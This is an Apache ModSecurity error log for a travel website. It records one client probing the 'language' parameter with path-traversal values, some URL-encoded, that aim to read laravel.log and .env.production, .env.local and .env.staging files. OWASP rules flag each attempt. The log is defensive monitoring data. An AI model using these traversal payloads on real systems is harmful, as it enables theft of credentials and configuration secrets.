[Fri Jul 17 08:55:07.943628 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../../storage/logs/laravel.log&extra=_zv02uvpyyb1skrppkd1yqfadtzhiutfugvuz3-7seabdmqjtyicfyhuipnnlbt2rk3y5cba3dlrvdlnsncpaq59zufs8c8zubcrlq-iykridjhy1a1jmfk0e2u537txf7hwld3pevu5trocbvukaso2rxafpziixbu2f7huqrxc3pagmbqtoh5sa5gwxnxmj50bf5kshpcjcgqjsukkvssqqqojpmqoilz55php1ec-m5oxrc0cxtlgdigas9v5al5t16n1t2l-srdw0mo_0be4&cb=szof46q2dmfseudi6luzfahfjive2yy67zmiloqlcark3mmvlqvf4y5pq3yihxn4ge6yc4o5u6qqgutxf5j7hnxinqivppbczvhd66usplelc76c6z5upax7lx3gcm6ja..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
[Fri Jul 17 08:55:07.943664 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
[Fri Jul 17 08:55:07.943683 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
[Fri Jul 17 08:55:07.944927 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
[Fri Jul 17 08:55:07.945090 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.945431 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlMwAAAA0"]
[Fri Jul 17 08:55:07.967933 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hgAAABE"]
[Fri Jul 17 08:55:07.967994 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hgAAABE"]
[Fri Jul 17 08:55:07.969295 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6hgAAABE"]
[Fri Jul 17 08:55:07.969453 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.969764 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6hgAAABE"]
[Fri Jul 17 08:55:07.978681 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbgAAABI"]
[Fri Jul 17 08:55:07.978729 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbgAAABI"]
[Fri Jul 17 08:55:07.979958 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUbgAAABI"]
[Fri Jul 17 08:55:07.980115 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.980415 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUbgAAABI"]
[Fri Jul 17 08:55:07.985070 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95tAAAAAw"]
[Fri Jul 17 08:55:07.985116 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95tAAAAAw"]
[Fri Jul 17 08:55:07.985323 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?language=..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=Xojz2vMiZyU4y9zer4WxTVIEEdgHY59hLKVsHUCdzThqnzwY0Uk_0Kc_WTD3G5bPPp8H-_JKB2RSx_nEE1bfaOky_h1KUEWuKO5RgCji596sCzPgfWccZcJ0Z6m3eCq87Top5c8cYUauTFqb99FAzm7GXaXH_9Ss1K-ByXOrcseiQ8iHhSl_GeSeNLj0pZXYXBMVN3UtElaMUOxRihYQzXUtRZ4fN-OAOABSX_xhH_Em-8l6XE-TYQYUk8UoLh9iXCBNxEKnRtxDxRlzpcGvWZSo&extra=KJXEIWNYTSVOBWDMACJVRCQ33C4FRPV2BW6XY4WWSMOWH4OO2S4GMYHJCQFGNFAJTWHYOPOMHLEWRUDIY5WT3UB2A4WGM2M33XZLGWLVV3NBDXVSTR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.985375 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.985420 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../storage/logs/laravel.log&junk=Xojz2vMiZyU4y9zer4WxTVIEEdgHY59hLKVsHUCdzThqnzwY0Uk_0Kc_WTD3G5bPPp8H-_JKB2RSx_nEE1bfaOky_h1KUEWuKO5RgCji596sCzPgfWccZcJ0Z6m3eCq87Top5c8cYUauTFqb99FAzm7GXaXH_9Ss1K-ByXOrcseiQ8iHhSl_GeSeNLj0pZXYXBMVN3UtElaMUOxRihYQzXUtRZ4fN-OAOABSX_xhH_Em-8l6XE-TYQYUk8UoLh9iXCBNxEKnRtxDxRlzpcGvWZSo&extra=KJXEIWNYTSVOBWDMACJVRCQ33C4FRPV2BW6XY4WWSMOWH4OO2S4GMYHJCQFGNFAJTWHYOPOMHLEWRUDIY5WT3UB2A4WGM2M33XZLGWLVV3NBDXVSTRRMPDJVHRP2WVWGI3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.985466 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?language=../../storage/logs/laravel.log&junk=xojz2vmizyu4y9zer4wxtvieedghy59hlkvshucdzthqnzwy0uk_0kc_wtd3g5bppp8h-_jkb2rsx_nee1bfaoky_h1kuewuko5rgcji596sczpgfwcczcj0z6m3ecq87top5c8cyuautfqb99fazm7gxaxh_9ss1k-byxorcseiq8ihhsl_gesenlj0pzxyxbmvn3utelamuoxrihyqzxutrz4fn-oaoabsx_xhh_em-8l6xe-tyqyuk8uolh9ixcbnxeknrtxdxrlzpcgvwzso&extra=kjxeiwnytsvobwdmacjvrcq33c4frpv2bw6xy4wwsmowh4oo2s4gmyhjcqfgnfajtwhyopomhlewrudiy5wt3ub2a4wgm2m33xzlgwlvv3nbdxvstrrmpdjvhrp2wvwgi3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.985492 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.985528 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.986252 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95tAAAAAw"]
[Fri Jul 17 08:55:07.986378 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.986634 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95tAAAAAw"]
[Fri Jul 17 08:55:07.986687 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.986808 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.987100 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt2-gAAACM"]
[Fri Jul 17 08:55:07.992239 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PjAAAABk"]
[Fri Jul 17 08:55:07.992284 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PjAAAABk"]
[Fri Jul 17 08:55:07.993459 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PjAAAABk"]
[Fri Jul 17 08:55:07.993591 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.993883 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PjAAAABk"]
